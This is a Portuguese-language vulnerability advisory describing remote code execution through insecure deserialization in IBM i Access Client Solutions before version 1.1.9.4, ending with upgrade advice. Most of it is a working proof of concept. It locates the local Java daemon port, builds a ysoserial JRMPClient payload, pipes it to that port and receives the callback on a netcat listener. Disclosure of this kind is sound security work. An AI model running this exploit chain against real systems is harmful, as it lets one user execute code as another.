
IBM i Access Client Solutions < 1.1.9.4 - Execução remota de código via desserialização insegura
IBM i Access Client Solutions < 1.1.9.4 - Execução remota de código via desserialização insegura.
O IBM i Access Client Solutions utiliza desserialização insegura para armazenamento de senhas e obtenção da chave de descriptografia para criptografia de senhas. Isso pode ser usado por um atacante local ou remoto para executar código.
O servidor local pode ser facilmente encontrado usando o comando netstat:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
Podemos confirmar detalhes sobre este servidor local usando o comando ps:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
Podemos alcançar a execução de código pelo usuário mmajchrowicz usando o payload ysoserial da conta mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307
No segundo terminal receberemos a conexão após a execução do payload pelo serviço:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
Este problema foi causado por uma desserialização insegura de pacotes de rede e dados do usuário. Esta questão é corrigida no IBM i Access Client Solutions 1.1.9.4.
< 1.1.9.4
Atualize o IBM i Access Client Solutions para a versão 1.1.9.4 ou mais recente.